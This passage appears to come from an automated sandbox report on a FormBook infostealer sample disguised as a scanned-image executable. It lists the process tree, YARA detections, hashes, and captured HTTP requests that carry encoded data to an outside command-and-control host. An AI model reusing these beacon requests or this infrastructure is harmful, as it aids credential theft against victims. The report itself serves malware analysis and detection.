Aug 18, 2024 18:28:02.324917078 CEST	716	OUT	POST /yxos/ HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lfghtko.lol Referer: http://www.lfghtko.lol/yxos/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 4c 75 67 59 6c 62 6f 51 63 61 52 44 6a 39 4b 45 69 48 79 59 75 31 6d 64 38 73 79 53 62 58 41 53 55 7a 67 36 36 6b 69 7a 64 2f 36 45 77 35 6e 70 58 57 43 49 49 48 50 31 76 33 51 34 44 34 38 6e 79 76 53 73 77 48 2f 49 78 6f 36 6c 68 63 6e 35 74 52 52 54 36 4c 6c 4f 37 52 45 72 34 49 58 53 66 47 72 53 43 6e 4a 6a 37 34 2b 72 46 57 6f 31 4f 31 75 45 48 48 78 45 74 79 6b 6b 4c 35 62 54 67 49 6a 76 58 49 58 4d 43 34 31 56 35 6d 73 4a 4c 2b 2b 75 47 6d 56 73 39 48 71 4f 37 32 4d 73 45 33 71 63 59 37 52 77 6c 74 2b 6f 66 47 56 65 59 64 5a 43 46 34 48 58 66 38 66 53 65 7a 52 50 59 55 49 39 48 64 6e 31 6d 61 75 75 7a 62 53 6c 72 51 3d 3d Data Ascii: dZo=LugYlboQcaRDj9KEiHyYu1md8sySbXASUzg66kizd/6Ew5npXWCIIHP1v3Q4D48nyvSswH/Ixo6lhcn5tRRT6LlO7REr4IXSfGrSCnJj74+rFWo1O1uEHHxEtykkL5bTgIjvXIXMC41V5msJL++uGmVs9HqO72MsE3qcY7Rwlt+ofGVeYdZCF4HXf8fSezRPYUI9Hdn1mauuzbSlrQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.9	54157	116.213.43.190	80

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:28:06.481605053 CEST	1729	OUT	POST /yxos/ HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lfghtko.lol Referer: http://www.lfghtko.lol/yxos/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 4c 75 67 59 6c 62 6f 51 63 61 52 44 6a 39 4b 45 69 48 79 59 75 31 6d 64 38 73 79 53 62 58 41 53 55 7a 67 36 36 6b 69 7a 64 2f 79 45 77 4b 76 70 58 31 71 49 4a 48 50 31 6c 58 51 44 44 34 38 6d 79 73 69 6f 77 48 7a 32 78 71 79 6c 67 2f 2f 35 6f 67 52 54 67 62 6c 4f 6b 68 45 6f 6e 59 58 48 66 43 50 57 43 6a 74 6a 37 34 2b 72 46 56 77 31 4e 6b 75 45 46 48 78 44 71 79 6b 34 50 35 61 64 67 49 36 53 58 49 43 37 43 4d 4a 56 35 46 55 4a 4e 4c 4b 75 4b 6d 56 69 38 48 71 57 37 32 41 7a 45 33 6d 6d 59 2f 51 62 6c 74 47 6f 62 6a 70 64 4c 2f 4e 56 65 5a 48 30 5a 73 50 58 65 46 51 6d 58 6e 70 4b 51 74 6e 4e 32 6f 76 52 36 34 50 7a 35 5a 64 79 44 73 2f 4e 73 47 50 67 6e 34 78 35 78 75 4d 39 5a 67 45 36 6a 7a 45 46 45 65 48 6d 67 51 30 4f 31 34 68 6e 46 33 49 35 75 71 74 41 6d 7a 37 68 67 73 41 36 6d 64 56 75 4a 49 48 30 4c 34 45 56 46 6b 54 6e 61 59 78 58 49 49 46 38 57 4b 4b 44 41 6c 43 68 7a 4d 71 33 63 70 50 47 72 59 32 4c 61 2f 4e 48 51 2b 6b 4a 63 42 33 51 2f 38 34 36 38 58 57 6a 7a 6c 53 68 59 7a [TRUNCATED] Data Ascii: dZo=LugYlboQcaRDj9KEiHyYu1md8sySbXASUzg66kizd/yEwKvpX1qIJHP1lXQDD48mysiowHz2xqylg//5ogRTgblOkhEonYXHfCPWCjtj74+rFVw1NkuEFHxDqyk4P5adgI6SXIC7CMJV5FUJNLKuKmVi8HqW72AzE3mmY/QbltGobjpdL/NVeZH0ZsPXeFQmXnpKQtnN2ovR64Pz5ZdyDs/NsGPgn4x5xuM9ZgE6jzEFEeHmgQ0O14hnF3I5uqtAmz7hgsA6mdVuJIH0L4EVFkTnaYxXIIF8WKKDAlChzMq3cpPGrY2La/NHQ+kJcB3Q/8468XWjzlShYzoo/QkShJqagWNbaqZ/oqNid4cgGRT/Bstlxxnwx3xUAGtmCtW+nXUT/ZDixy6b72PxjSDRvXU9hA0L+O5t+hbNpNUgoyoGHbXTjgg02luxRVO/N1awMzWXbSvNMmoHS9l+FNQt8AkKD7CzHTRHhhHJwuI2tdA0Lg0z0gs4DQg8SjoB0SC2fu9fTCEfo4b/XxQESckANTWGvneA+z3mQUGwHT81x1fx5A0jORAhwkxo9RFJyW6eftfey6z/YAMRiL6tNSO2EWrVGD6MJHh/XssmQFvNnH2OddadY72YjPWkf0jVG4d/cfKkJtUEL0RE3dIwNTI/6L4LcCIum9Yc6D3fhb9soNocZ1LZl/+rylQA18FYW7J4JxjkMeBf5P6b+8f/Lgs9EkSWMIe0RWnj/X57zwUEWx2r+F1F0JLd4719a0pZK4ICy+CSYSBXh7q1Y7vwCgK6f8SfoG1rwgbToHcyGwNsyNJlHsyRve0CVJxp1OXWmXOfJbLKaHr99c6DDD3ve8g5EcqOpcdpXE6JaEfON91bs47lkW7qgUGqSZGka6JnRJEXjG6G3R1SdwRG4mq8DNImc7znHdvCicp5t+ZVi7IFBdOHeade/F18BoWqUs1FYQ4yQB9peKyktTg13OWPNlBDJZsac62rm+jNRYRCp1X6MsOVw5bP [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.9	54158	116.213.43.190	80

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:28:09.012103081 CEST	437	OUT	GET /yxos/?dZo=GsI4mtIQVr1bqd+WnFq+jxjWo9OGL2g8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR3g5VMmjRWjtblZDXQIQIDqIzGBnVicw==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.lfghtko.lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Target ID:	0
Start time:	12:23:56
Start date:	18/08/2024
Path:	C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe"
Imagebase:	0xa20000
File size:	1'211'904 bytes
MD5 hash:	58077F7B69CA6E33EC9A13F1B2B53C02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	12:23:57
Start date:	18/08/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Scanned-IMGS_from Bumi Wangsa TMS Sdn Bhd..exe"
Imagebase:	0x60000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1624858968.0000000002120000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1625612818.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1625179434.0000000002B90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	12:24:18
Start date:	18/08/2024
Path:	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe"
Imagebase:	0x460000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.3809765058.00000000030F0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	12:24:20
Start date:	18/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\schtasks.exe"
Imagebase:	0x330000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.3809994652.0000000002A90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.3798026711.00000000026B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.3809886003.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	12:24:33
Start date:	18/08/2024
Path:	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe"
Imagebase:	0x460000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.3811962670.0000000005410000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	12:24:45
Start date:	18/08/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true